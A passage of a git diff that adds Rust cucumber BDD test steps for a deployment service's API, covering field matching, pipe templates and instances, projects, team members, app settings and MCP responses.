+        "Expected MCP tool text to contain '{}', got: {}",
+        expected,
+        text
+    );
+}
+
+#[then(regex = r#"^no MCP response should be received within (\d+)ms$"#)]
+async fn assert_no_response(world: &mut StepWorld, _millis: u64) {
+    assert!(
+        world.mcp_response.is_none(),
+        "Expected no MCP response for notification, got: {:?}",
+        world.mcp_response
+    );
+}
diff --git a/tests/steps/ml_field_match.rs b/tests/steps/ml_field_match.rs
new file mode 100644
index 00000000..b04ff4d6
--- /dev/null
+++ b/tests/steps/ml_field_match.rs
@@ -0,0 +1,112 @@
+use cucumber::{then, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Field Matching Steps ────────────────────────────────────────
+
+#[when(
+    regex = r#"^I request field matching with source fields "([^"]*)" and target fields "([^"]*)"$"#
+)]
+async fn when_request_field_matching(
+    world: &mut StepWorld,
+    source_fields_csv: String,
+    target_fields_csv: String,
+) {
+    let source_fields: Vec<String> = source_fields_csv
+        .split(',')
+        .map(|s| s.trim().to_string())
+        .filter(|s| !s.is_empty())
+        .collect();
+    let target_fields: Vec<String> = target_fields_csv
+        .split(',')
+        .map(|s| s.trim().to_string())
+        .filter(|s| !s.is_empty())
+        .collect();
+
+    world
+        .post_json(
+            "/api/v1/pipes/field-match",
+            &json!({
+                "source_fields": source_fields,
+                "target_fields": target_fields,
+            }),
+        )
+        .await;
+}
+
+#[then(regex = r#"^the field match for "([^"]+)" should map to "([^"]+)"$"#)]
+async fn then_field_match_maps(world: &mut StepWorld, target_field: String, source_field: String) {
+    let json = world.response_json.as_ref().expect("no response JSON");
+    let item = &json["item"];
+    let mapping = &item["mapping"];
+
+    let mapped = mapping
+        .get(&target_field)
+        .unwrap_or_else(|| panic!("no mapping for target field '{}'", target_field));
+    let mapped_str = mapped.as_str().expect("mapping value not a string");
+    let actual_source = mapped_str.trim_start_matches("$.");
+
+    assert_eq!(
+        actual_source, source_field,
+        "expected '{}' to map to '{}', got '{}'",
+        target_field, source_field, actual_source
+    );
+}
+
+#[then(regex = r#"^the field match confidence for "([^"]+)" should be at least ([0-9.]+)$"#)]
+async fn then_field_match_confidence(
+    world: &mut StepWorld,
+    field_name: String,
+    min_confidence: f32,
+) {
+    let json = world.response_json.as_ref().expect("no response JSON");
+    let item = &json["item"];
+    let confidence = &item["confidence"];
+
+    let score = confidence
+        .get(&field_name)
+        .unwrap_or_else(|| panic!("no confidence score for '{}'", field_name))
+        .as_f64()
+        .expect("confidence not a number") as f32;
+
+    assert!(
+        score >= min_confidence,
+        "confidence for '{}' is {}, expected at least {}",
+        field_name,
+        score,
+        min_confidence
+    );
+}
+
+#[then(regex = r#"^the field match result should have unmatched target "([^"]+)"$"#)]
+async fn then_unmatched_target(world: &mut StepWorld, field_name: String) {
+    let json = world.response_json.as_ref().expect("no response JSON");
+    let item = &json["item"];
+    let unmatched = item["unmatched_target"]
+        .as_array()
+        .expect("unmatched_target not an array");
+
+    let found = unmatched
+        .iter()
+        .any(|v| v.as_str().is_some_and(|s| s == field_name));
+
+    assert!(
+        found,
+        "'{}' not found in unmatched_target: {:?}",
+        field_name, unmatched
+    );
+}
+
+#[then("the field match mapping should be empty")]
+async fn then_mapping_empty(world: &mut StepWorld) {
+    let json = world.response_json.as_ref().expect("no response JSON");
+    let item = &json["item"];
+    let mapping = item["mapping"].as_object().expect("mapping not an object");
+
+    assert!(
+        mapping.is_empty(),
+        "expected empty mapping, got {:?}",
+        mapping
+    );
+}
diff --git a/tests/steps/mod.rs b/tests/steps/mod.rs
new file mode 100644
index 00000000..9e149818
--- /dev/null
+++ b/tests/steps/mod.rs
@@ -0,0 +1,265 @@
+#![allow(dead_code)]
+
+pub mod agent;
+pub mod agent_executor;
+pub mod cdc;
+pub mod cloud_server;
+pub mod common;
+pub mod dag;
+pub mod dag_execution;
+pub mod deployment;
+pub mod deployment_state;
+pub mod health;
+pub mod marketplace;
+pub mod mcp;
+pub mod ml_field_match;
+pub mod pipe;
+pub mod project;
+pub mod prometheus;
+pub mod resilience;
+pub mod streaming;
+pub mod supporting;
+pub mod visual_editor;
+
+use cucumber::World;
+use sqlx::PgPool;
+use std::collections::HashMap;
+
+/// Shared BDD test world holding the running app and request/response state.
+#[derive(Debug, World)]
+#[world(init = Self::new)]
+pub struct StepWorld {
+    /// Base URL of the test server (e.g. "http://127.0.0.1:54321")
+    pub base_url: String,
+    /// Database connection pool for the test database
+    pub db_pool: Option<PgPool>,
+    /// HTTP client for making requests
+    pub client: reqwest::Client,
+    /// Last HTTP response status code
+    pub status_code: Option<u16>,
+    /// Last HTTP response body as string
+    pub response_body: Option<String>,
+    /// Auth token for the current user (default: User A)
+    pub auth_token: String,
+    /// Stored IDs from create operations (e.g. "project_id" -> "42")
+    pub stored_ids: HashMap<String, String>,
+    /// Last JSON response parsed
+    pub response_json: Option<serde_json::Value>,
+    /// Last HTTP response headers
+    pub response_headers: Option<reqwest::header::HeaderMap>,
+    /// MCP WebSocket response (last JSON-RPC response received)
+    pub mcp_response: Option<serde_json::Value>,
+    /// Whether the MCP WebSocket connection is open
+    pub mcp_connected: bool,
+    /// Active MCP WebSocket connection
+    pub mcp_ws: McpWs,
+    /// Circuit breaker for agent executor tests
+    pub circuit_breaker: Option<stacker::services::resilience_engine::InMemoryCircuitBreaker>,
+    /// CDC change event for CDC BDD tests
+    pub cdc_event: Option<stacker::models::cdc::CdcChangeEvent>,
+    /// CDC pipe payload for CDC BDD tests
+    pub cdc_payload: Option<serde_json::Value>,
+    /// CDC trigger config for CDC BDD tests
+    pub cdc_trigger: Option<stacker::models::cdc::CdcTriggerConfig>,
+}
+
+/// Wrapper for WebSocket stream that implements Debug
+pub struct McpWs(
+    pub  Option<
+        tokio_tungstenite::WebSocketStream<
+            tokio_tungstenite::MaybeTlsStream<tokio::net::TcpStream>,
+        >,
+    >,
+);
+
+impl std::fmt::Debug for McpWs {
+    fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
+        match &self.0 {
+            Some(_) => f.write_str("McpWs(connected)"),
+            None => f.write_str("McpWs(none)"),
+        }
+    }
+}
+
+/// Shared test app singleton — avoids spawning a new server per scenario.
+static APP_INIT: std::sync::OnceLock<Option<(String, PgPool)>> = std::sync::OnceLock::new();
+static APP_INIT_ASYNC: tokio::sync::OnceCell<Option<(String, PgPool)>> =
+    tokio::sync::OnceCell::const_new();
+
+async fn get_shared_app() -> &'static Option<(String, PgPool)> {
+    APP_INIT_ASYNC
+        .get_or_init(|| async {
+            common::spawn_bdd_app()
+                .await
+                .map(|a| (a.address, a.db_pool))
+        })
+        .await
+}
+
+pub async fn ensure_shared_app_available() -> bool {
+    get_shared_app().await.is_some()
+}
+
+impl StepWorld {
+    async fn new() -> Self {
+        let shared = get_shared_app().await;
+        let (base_url, db_pool) = shared
+            .as_ref()
+            .expect("BDD: Failed to start test server (is PostgreSQL running?)");
+
+        Self {
+            base_url: base_url.clone(),
+            db_pool: Some(db_pool.clone()),
+            client: reqwest::Client::new(),
+            status_code: None,
+            response_body: None,
+            auth_token: "user-a-token".to_string(),
+            stored_ids: HashMap::new(),
+            response_json: None,
+            response_headers: None,
+            mcp_response: None,
+            mcp_connected: false,
+            mcp_ws: McpWs(None),
+            circuit_breaker: None,
+            cdc_event: None,
+            cdc_payload: None,
+            cdc_trigger: None,
+        }
+    }
+
+    /// Make a GET request to the app, returns (status, body)
+    pub async fn get(&mut self, path: &str) -> (u16, String) {
+        let url = format!("{}{}", self.base_url, path);
+        let resp = self
+            .client
+            .get(&url)
+            .header("Authorization", format!("Bearer {}", self.auth_token))
+            .send()
+            .await
+            .expect("GET request failed");
+
+        let status = resp.status().as_u16();
+        let headers = resp.headers().clone();
+        let body = resp.text().await.unwrap_or_default();
+        self.status_code = Some(status);
+        self.response_body = Some(body.clone());
+        self.response_json = serde_json::from_str(&body).ok();
+        self.response_headers = Some(headers);
+        (status, body)
+    }
+
+    /// Make an unauthenticated GET request (no Authorization header)
+    pub async fn get_unauthenticated(&mut self, path: &str) -> (u16, String) {
+        let url = format!("{}{}", self.base_url, path);
+        let resp = self
+            .client
+            .get(&url)
+            .send()
+            .await
+            .expect("GET (unauthenticated) request failed");
+
+        let status = resp.status().as_u16();
+        let headers = resp.headers().clone();
+        let body = resp.text().await.unwrap_or_default();
+        self.status_code = Some(status);
+        self.response_body = Some(body.clone());
+        self.response_json = serde_json::from_str(&body).ok();
+        self.response_headers = Some(headers);
+        (status, body)
+    }
+
+    /// Make a POST request with JSON body
+    pub async fn post_json(&mut self, path: &str, body: &serde_json::Value) -> (u16, String) {
+        let url = format!("{}{}", self.base_url, path);
+        let resp = self
+            .client
+            .post(&url)
+            .header("Authorization", format!("Bearer {}", self.auth_token))
+            .json(body)
+            .send()
+            .await
+            .expect("POST request failed");
+
+        let status = resp.status().as_u16();
+        let headers = resp.headers().clone();
+        let body = resp.text().await.unwrap_or_default();
+        self.status_code = Some(status);
+        self.response_body = Some(body.clone());
+        self.response_json = serde_json::from_str(&body).ok();
+        self.response_headers = Some(headers);
+        (status, body)
+    }
+
+    /// Make a PUT request with JSON body
+    pub async fn put_json(&mut self, path: &str, body: &serde_json::Value) -> (u16, String) {
+        let url = format!("{}{}", self.base_url, path);
+        let resp = self
+            .client
+            .put(&url)
+            .header("Authorization", format!("Bearer {}", self.auth_token))
+            .json(body)
+            .send()
+            .await
+            .expect("PUT request failed");
+
+        let status = resp.status().as_u16();
+        let body = resp.text().await.unwrap_or_default();
+        self.status_code = Some(status);
+        self.response_body = Some(body.clone());
+        self.response_json = serde_json::from_str(&body).ok();
+        (status, body)
+    }
+
+    /// Make a PATCH request with JSON body
+    pub async fn patch(&mut self, path: &str, body: &serde_json::Value) -> (u16, String) {
+        let url = format!("{}{}", self.base_url, path);
+        let resp = self
+            .client
+            .patch(&url)
+            .header("Authorization", format!("Bearer {}", self.auth_token))
+            .json(body)
+            .send()
+            .await
+            .expect("PATCH request failed");
+
+        let status = resp.status().as_u16();
+        let body = resp.text().await.unwrap_or_default();
+        self.status_code = Some(status);
+        self.response_body = Some(body.clone());
+        self.response_json = serde_json::from_str(&body).ok();
+        (status, body)
+    }
+
+    /// Make a DELETE request
+    pub async fn delete(&mut self, path: &str) -> (u16, String) {
+        let url = format!("{}{}", self.base_url, path);
+        let resp = self
+            .client
+            .delete(&url)
+            .header("Authorization", format!("Bearer {}", self.auth_token))
+            .send()
+            .await
+            .expect("DELETE request failed");
+
+        let status = resp.status().as_u16();
+        let body = resp.text().await.unwrap_or_default();
+        self.status_code = Some(status);
+        self.response_body = Some(body.clone());
+        self.response_json = serde_json::from_str(&body).ok();
+        (status, body)
+    }
+
+    /// Store an ID from the last response JSON
+    pub fn store_id_from_response(&mut self, key: &str, json_path: &str) {
+        if let Some(ref json) = self.response_json {
+            if let Some(val) = json.pointer(json_path) {
+                let id_str = match val {
+                    serde_json::Value::Number(n) => n.to_string(),
+                    serde_json::Value::String(s) => s.clone(),
+                    other => other.to_string(),
+                };
+                self.stored_ids.insert(key.to_string(), id_str);
+            }
+        }
+    }
+}
diff --git a/tests/steps/pipe.rs b/tests/steps/pipe.rs
new file mode 100644
index 00000000..3c5f84a8
--- /dev/null
+++ b/tests/steps/pipe.rs
@@ -0,0 +1,324 @@
+use cucumber::{given, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Deployment helper ───────────────────────────────────────────
+
+#[given(regex = r#"^I have a test deployment with hash "([^"]+)"$"#)]
+async fn given_test_deployment(world: &mut StepWorld, deployment_hash: String) {
+    let pool = world.db_pool.as_ref().expect("no db_pool");
+    let proj_name = format!("proj-{}", &deployment_hash);
+
+    // Create a project first, then a deployment
+    let project_id: i32 = sqlx::query_scalar(
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+           VALUES (gen_random_uuid(), $1, $2, '{}'::json, '{}'::json, NOW(), NOW())
+           ON CONFLICT DO NOTHING
+           RETURNING id"#,
+    )
+    .bind(super::common::USER_A_ID)
+    .bind(&proj_name)
+    .fetch_optional(pool)
+    .await
+    .expect("project insert query failed")
+    .unwrap_or(0);
+
+    let project_id = if project_id == 0 {
+        sqlx::query_scalar::<_, i32>("SELECT id FROM project WHERE name = $1 LIMIT 1")
+            .bind(&proj_name)
+            .fetch_one(pool)
+            .await
+            .expect("project should exist")
+    } else {
+        project_id
+    };
+
+    // Insert deployment if not exists
+    let deploy_id = sqlx::query_scalar::<_, i32>(
+        r#"INSERT INTO deployment (project_id, deployment_hash, user_id, metadata, status, created_at, updated_at)
+           VALUES ($1, $2, $3, '{}'::json, 'running', NOW(), NOW())
+           ON CONFLICT (deployment_hash) DO UPDATE SET updated_at = NOW()
+           RETURNING id"#,
+    )
+    .bind(project_id)
+    .bind(&deployment_hash)
+    .bind(super::common::USER_A_ID)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to create test deployment");
+
+    world
+        .stored_ids
+        .insert("deployment_hash".to_string(), deployment_hash);
+    world
+        .stored_ids
+        .insert("deployment_id".to_string(), deploy_id.to_string());
+    world
+        .stored_ids
+        .insert("deployment_project_id".to_string(), project_id.to_string());
+}
+
+// ─── Pipe Template steps ─────────────────────────────────────────
+
+fn pipe_template_body(name: &str, is_public: bool) -> serde_json::Value {
+    json!({
+        "name": name,
+        "source_app_type": "wordpress",
+        "source_endpoint": { "path": "/api/posts", "method": "GET" },
+        "target_app_type": "mailchimp",
+        "target_endpoint": { "path": "/api/hook", "method": "POST" },
+        "field_mapping": { "email": "$.user_email", "name": "$.display_name" },
+        "is_public": is_public
+    })
+}
+
+#[when(regex = r#"^I create a pipe template "(.+)"$"#)]
+async fn create_pipe_template(world: &mut StepWorld, name: String) {
+    let body = pipe_template_body(&name, false);
+    world.post_json("/api/v1/pipes/templates", &body).await;
+    if world.status_code == Some(201) {
+        world.store_id_from_response("template_id", "/item/id");
+    }
+}
+
+#[given(regex = r#"^I have created a pipe template "(.+)"$"#)]
+async fn given_pipe_template(world: &mut StepWorld, name: String) {
+    let body = pipe_template_body(&name, false);
+    world.post_json("/api/v1/pipes/templates", &body).await;
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create pipe template '{}': {}",
+        name,
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+    world.store_id_from_response("template_id", "/item/id");
+}
+
+#[given(regex = r#"^I have created a public pipe template "(.+)"$"#)]
+async fn given_public_pipe_template(world: &mut StepWorld, name: String) {
+    let body = pipe_template_body(&name, true);
+    world.post_json("/api/v1/pipes/templates", &body).await;
+    assert_eq!(
+        world.status_code,
+        Some(201),
+        "Failed to create public pipe template '{}': {}",
+        name,
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+    world.store_id_from_response("template_id", "/item/id");
+}
+
+#[when("I create a pipe template with empty name")]
+async fn create_template_empty_name(world: &mut StepWorld) {
+    let mut body = pipe_template_body("", false);
+    body["name"] = json!("");
+    world.post_json("/api/v1/pipes/templates", &body).await;
+}
+
+#[when("I create a pipe template with empty source_app_type")]
+async fn create_template_empty_source(world: &mut StepWorld) {
+    let mut body = pipe_template_body("test", false);
+    body["source_app_type"] = json!("");
+    world.post_json("/api/v1/pipes/templates", &body).await;
+}
+
+#[when("I create a pipe template with empty target_app_type")]
+async fn create_template_empty_target(world: &mut StepWorld) {
+    let mut body = pipe_template_body("test", false);
+    body["target_app_type"] = json!("");
+    world.post_json("/api/v1/pipes/templates", &body).await;
+}
+
+#[when("I list pipe templates")]
+async fn list_pipe_templates(world: &mut StepWorld) {
+    world.get("/api/v1/pipes/templates").await;
+}
+
+#[when("I get the stored pipe template")]
+async fn get_stored_pipe_template(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    world.get(&format!("/api/v1/pipes/templates/{}", id)).await;
+}
+
+#[when("I delete the stored pipe template")]
+async fn delete_stored_pipe_template(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    world
+        .delete(&format!("/api/v1/pipes/templates/{}", id))
+        .await;
+}
+
+// ─── Pipe Instance steps ─────────────────────────────────────────
+
+#[when(
+    regex = r#"^I create a pipe instance for deployment "(.+)" with source "(.+)" and target container "(.+)"$"#
+)]
+#[given(
+    regex = r#"^I have created a pipe instance for deployment "(.+)" with source "(.+)" and target container "(.+)"$"#
+)]
+async fn create_pipe_instance_container(
+    world: &mut StepWorld,
+    deployment_hash: String,
+    source: String,
+    target: String,
+) {
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "source_container": source,
+        "target_container": target
+    });
+    world.post_json("/api/v1/pipes/instances", &body).await;
+    if world.status_code == Some(201) {
+        world.store_id_from_response("instance_id", "/item/id");
+    }
+}
+
+#[when(
+    regex = r#"^I create a pipe instance for deployment "(.+)" with source "(.+)" and target url "(.+)"$"#
+)]
+async fn create_pipe_instance_url(
+    world: &mut StepWorld,
+    deployment_hash: String,
+    source: String,
+    target_url: String,
+) {
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "source_container": source,
+        "target_url": target_url
+    });
+    world.post_json("/api/v1/pipes/instances", &body).await;
+    if world.status_code == Some(201) {
+        world.store_id_from_response("instance_id", "/item/id");
+    }
+}
+
+#[when(
+    regex = r#"^I create a pipe instance for deployment "(.+)" with source "(.+)" and target container "(.+)" linked to the stored template$"#
+)]
+async fn create_pipe_instance_with_template(
+    world: &mut StepWorld,
+    deployment_hash: String,
+    source: String,
+    target: String,
+) {
+    let template_id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({
+        "deployment_hash": deployment_hash,
+        "source_container": source,
+        "target_container": target,
+        "template_id": template_id
+    });
+    world.post_json("/api/v1/pipes/instances", &body).await;
+    if world.status_code == Some(201) {
+        world.store_id_from_response("instance_id", "/item/id");
+    }
+}
+
+#[when("I create a pipe instance with empty deployment hash")]
+async fn create_instance_empty_deployment(world: &mut StepWorld) {
+    let body = json!({
+        "deployment_hash": "",
+        "source_container": "src",
+        "target_container": "tgt"
+    });
+    world.post_json("/api/v1/pipes/instances", &body).await;
+}
+
+#[when("I create a pipe instance with empty source container")]
+async fn create_instance_empty_source(world: &mut StepWorld) {
+    let body = json!({
+        "deployment_hash": "some-hash",
+        "source_container": "",
+        "target_container": "tgt"
+    });
+    world.post_json("/api/v1/pipes/instances", &body).await;
+}
+
+#[when("I create a pipe instance with no target")]
+async fn create_instance_no_target(world: &mut StepWorld) {
+    let body = json!({
+        "deployment_hash": "some-hash",
+        "source_container": "src"
+    });
+    world.post_json("/api/v1/pipes/instances", &body).await;
+}
+
+#[when(regex = r#"^I list pipe instances for deployment "(.+)"$"#)]
+async fn list_pipe_instances(world: &mut StepWorld, deployment_hash: String) {
+    world
+        .get(&format!("/api/v1/pipes/instances/{}", deployment_hash))
+        .await;
+}
+
+#[when("I get the stored pipe instance")]
+async fn get_stored_pipe_instance(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("instance_id")
+        .expect("No stored instance_id")
+        .clone();
+    world
+        .get(&format!("/api/v1/pipes/instances/detail/{}", id))
+        .await;
+}
+
+#[when(regex = r#"^I update the stored pipe instance status to "(.+)"$"#)]
+async fn update_instance_status(world: &mut StepWorld, status: String) {
+    let id = world
+        .stored_ids
+        .get("instance_id")
+        .expect("No stored instance_id")
+        .clone();
+    let body = json!({ "status": status });
+    world
+        .put_json(&format!("/api/v1/pipes/instances/{}/status", id), &body)
+        .await;
+}
+
+#[when("I delete the stored pipe instance")]
+async fn delete_stored_pipe_instance(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("instance_id")
+        .expect("No stored instance_id")
+        .clone();
+    world
+        .delete(&format!("/api/v1/pipes/instances/{}", id))
+        .await;
+}
+
+// ─── Pipe Execution steps ────────────────────────────────────────
+
+#[when("I list executions for the stored pipe instance")]
+async fn list_executions(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("instance_id")
+        .expect("No stored instance_id")
+        .clone();
+    world
+        .get(&format!("/api/v1/pipes/instances/{}/executions", id))
+        .await;
+}
+
+#[when(regex = r#"^I get pipe execution "(.+)"$"#)]
+async fn get_pipe_execution(world: &mut StepWorld, execution_id: String) {
+    world
+        .get(&format!("/api/v1/pipes/executions/{}", execution_id))
+        .await;
+}
diff --git a/tests/steps/project.rs b/tests/steps/project.rs
new file mode 100644
index 00000000..043675ea
--- /dev/null
+++ b/tests/steps/project.rs
@@ -0,0 +1,342 @@
+use cucumber::{given, then, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Auth steps ──────────────────────────────────────────────────
+
+#[given("I am authenticated as User A")]
+async fn auth_as_user_a(world: &mut StepWorld) {
+    world.auth_token = "user-a-token".to_string();
+}
+
+#[when("I switch to User B")]
+async fn switch_to_user_b(world: &mut StepWorld) {
+    world.auth_token = "user-b-token".to_string();
+}
+
+// ─── Project CRUD steps ─────────────────────────────────────────
+
+#[when(regex = r#"^I create a project with stack code "(.+)"$"#)]
+async fn create_project(world: &mut StepWorld, stack_code: String) {
+    let body = json!({
+        "custom": {
+            "custom_stack_code": stack_code,
+            "web": [{
+                "_id": "bdd-app-1",
+                "code": "nginx",
+                "name": "Nginx",
+                "type": "web",
+                "restart": "always",
+                "dockerhub_name": "nginx",
+                "custom": true
+            }]
+        }
+    });
+    world.post_json("/project", &body).await;
+    if world.status_code == Some(200) {
+        world.store_id_from_response("project_id", "/item/id");
+    }
+}
+
+#[given(regex = r#"^I have created a project with stack code "(.+)"$"#)]
+async fn given_project_created(world: &mut StepWorld, stack_code: String) {
+    let body = json!({
+        "custom": {
+            "custom_stack_code": stack_code,
+            "web": [{
+                "_id": "bdd-app-1",
+                "code": "nginx",
+                "name": "Nginx",
+                "type": "web",
+                "restart": "always",
+                "dockerhub_name": "nginx",
+                "custom": true
+            }]
+        }
+    });
+    world.post_json("/project", &body).await;
+    assert_eq!(
+        world.status_code,
+        Some(200),
+        "Failed to create project '{}': {}",
+        stack_code,
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+    world.store_id_from_response("project_id", "/item/id");
+}
+
+#[when(regex = r#"^I send a GET request to the stored "(.+)" at "(.+)"$"#)]
+async fn get_with_stored_id(world: &mut StepWorld, id_key: String, path_template: String) {
+    let id = world
+        .stored_ids
+        .get(&id_key)
+        .unwrap_or_else(|| panic!("No stored ID for '{}'", id_key))
+        .clone();
+    let path = path_template.replace("{id}", &id);
+    world.get(&path).await;
+}
+
+#[when(regex = r#"^I update the stored project with stack code "(.+)"$"#)]
+async fn update_project(world: &mut StepWorld, stack_code: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    let body = json!({
+        "custom": {
+            "custom_stack_code": stack_code,
+            "web": [{
+                "_id": "bdd-app-1",
+                "code": "nginx",
+                "name": "Nginx",
+                "type": "web",
+                "restart": "always",
+                "dockerhub_name": "nginx",
+                "custom": true
+            }]
+        }
+    });
+    world.put_json(&format!("/project/{}", id), &body).await;
+}
+
+#[when("I delete the stored project")]
+async fn delete_project(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world.delete(&format!("/project/{}", id)).await;
+}
+
+#[then(regex = r#"^I store the response JSON "(.+)" as "(.+)"$"#)]
+async fn store_json_value(world: &mut StepWorld, json_path: String, key: String) {
+    world.store_id_from_response(&key, &json_path);
+    assert!(
+        world.stored_ids.contains_key(&key),
+        "Failed to store '{}' from JSON path '{}'",
+        key,
+        json_path
+    );
+}
+
+#[then(regex = r#"^the response JSON list should have at least (\d+) items$"#)]
+async fn check_list_min_items(world: &mut StepWorld, min_count: usize) {
+    let json = world
+        .response_json
+        .as_ref()
+        .expect("No JSON response available");
+    let list = json
+        .get("list")
+        .and_then(|v| v.as_array())
+        .unwrap_or_else(|| panic!("No 'list' array in response: {}", json));
+    assert!(
+        list.len() >= min_count,
+        "Expected at least {} items, got {}",
+        min_count,
+        list.len()
+    );
+}
+
+#[then(regex = r#"^the response JSON list should not contain project "(.+)"$"#)]
+async fn check_list_not_contains(world: &mut StepWorld, name: String) {
+    let json = world
+        .response_json
+        .as_ref()
+        .expect("No JSON response available");
+    let list = json
+        .get("list")
+        .and_then(|v| v.as_array())
+        .unwrap_or_else(|| panic!("No 'list' array in response: {}", json));
+    let found = list
+        .iter()
+        .any(|item| item.get("name").and_then(|n| n.as_str()) == Some(&name));
+    assert!(!found, "List should NOT contain project '{}'", name);
+}
+
+// ─── Team / Member steps ─────────────────────────────────────────
+
+#[when(regex = r#"^I add member "(.+)" with role "(.+)" to the stored project$"#)]
+#[given(regex = r#"^I add member "(.+)" with role "(.+)" to the stored project$"#)]
+async fn add_member(world: &mut StepWorld, user_id: String, role: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    let body = json!({ "user_id": user_id, "role": role });
+    world
+        .post_json(&format!("/project/{}/members", id), &body)
+        .await;
+}
+
+#[when("I list members of the stored project")]
+async fn list_members(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world.get(&format!("/project/{}/members", id)).await;
+}
+
+#[when(regex = r#"^I remove member "(.+)" from the stored project$"#)]
+async fn remove_member(world: &mut StepWorld, member_id: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world
+        .delete(&format!("/project/{}/members/{}", id, member_id))
+        .await;
+}
+
+// ─── App steps ───────────────────────────────────────────────────
+
+#[when(regex = r#"^I create an app "(.*)" with image "(.*)" in the stored project$"#)]
+#[given(regex = r#"^I have created an app "(.*)" with image "(.*)" in the stored project$"#)]
+async fn create_app(world: &mut StepWorld, code: String, image: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    let body = json!({
+        "code": code,
+        "name": code,
+        "image": image
+    });
+    world
+        .post_json(&format!("/project/{}/apps", id), &body)
+        .await;
+}
+
+#[when("I list apps in the stored project")]
+async fn list_apps(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world.get(&format!("/project/{}/apps", id)).await;
+}
+
+#[when(regex = r#"^I get app "(.+)" in the stored project$"#)]
+async fn get_app(world: &mut StepWorld, code: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world.get(&format!("/project/{}/apps/{}", id, code)).await;
+}
+
+#[when(regex = r#"^I get app config for "(.+)" in the stored project$"#)]
+async fn get_app_config(world: &mut StepWorld, code: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world
+        .get(&format!("/project/{}/apps/{}/config", id, code))
+        .await;
+}
+
+#[when(regex = r#"^I update env vars for app "(.*)" in the stored project with:$"#)]
+async fn update_env_vars(world: &mut StepWorld, step: &cucumber::gherkin::Step, code: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    let table = step.table.as_ref().expect("table not found");
+    let mut vars = serde_json::Map::new();
+    // Skip header row (row 0), process data rows
+    for row in table.rows.iter().skip(1) {
+        if row.len() >= 2 {
+            vars.insert(row[0].clone(), serde_json::Value::String(row[1].clone()));
+        }
+    }
+    let body = json!({ "variables": vars });
+    world
+        .put_json(&format!("/project/{}/apps/{}/env", id, code), &body)
+        .await;
+}
+
+#[given(regex = r#"^I have set env var "(.+)" to "(.+)" for app "(.+)"$"#)]
+async fn set_env_var(world: &mut StepWorld, key: String, value: String, code: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    let mut vars = serde_json::Map::new();
+    vars.insert(key, serde_json::Value::String(value));
+    let body = json!({ "variables": vars });
+    world
+        .put_json(&format!("/project/{}/apps/{}/env", id, code), &body)
+        .await;
+    assert!(
+        world.status_code == Some(200),
+        "Failed to set env var: {}",
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+}
+
+#[when(regex = r#"^I get env vars for app "(.+)" in the stored project$"#)]
+async fn get_env_vars(world: &mut StepWorld, code: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world
+        .get(&format!("/project/{}/apps/{}/env", id, code))
+        .await;
+}
+
+#[when(regex = r#"^I delete env var "(.+)" for app "(.+)" in the stored project$"#)]
+async fn delete_env_var(world: &mut StepWorld, var_name: String, code: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    world
+        .delete(&format!("/project/{}/apps/{}/env/{}", id, code, var_name))
+        .await;
+}
+
+#[when(
+    regex = r#"^I update ports for app "(.+)" in the stored project with host (\d+) container (\d+)$"#
+)]
+async fn update_ports(world: &mut StepWorld, code: String, host: u16, container: u16) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    let body = json!({
+        "ports": [{ "host": host, "container": container, "protocol": "tcp" }]
+    });
+    world
+        .put_json(&format!("/project/{}/apps/{}/ports", id, code), &body)
+        .await;
+}
+
+#[when(regex = r#"^I update domain for app "(.+)" in the stored project to "(.+)" with SSL$"#)]
+async fn update_domain_ssl(world: &mut StepWorld, code: String, domain: String) {
+    let id = world
+        .stored_ids
+        .get("project_id")
+        .expect("No stored project_id")
+        .clone();
+    let body = json!({ "domain": domain, "ssl_enabled": true });
+    world
+        .put_json(&format!("/project/{}/apps/{}/domain", id, code), &body)
+        .await;
+}
diff --git a/tests/steps/prometheus.rs b/tests/steps/prometheus.rs
new file mode 100644
index 00000000..fef6ecd8
--- /dev/null
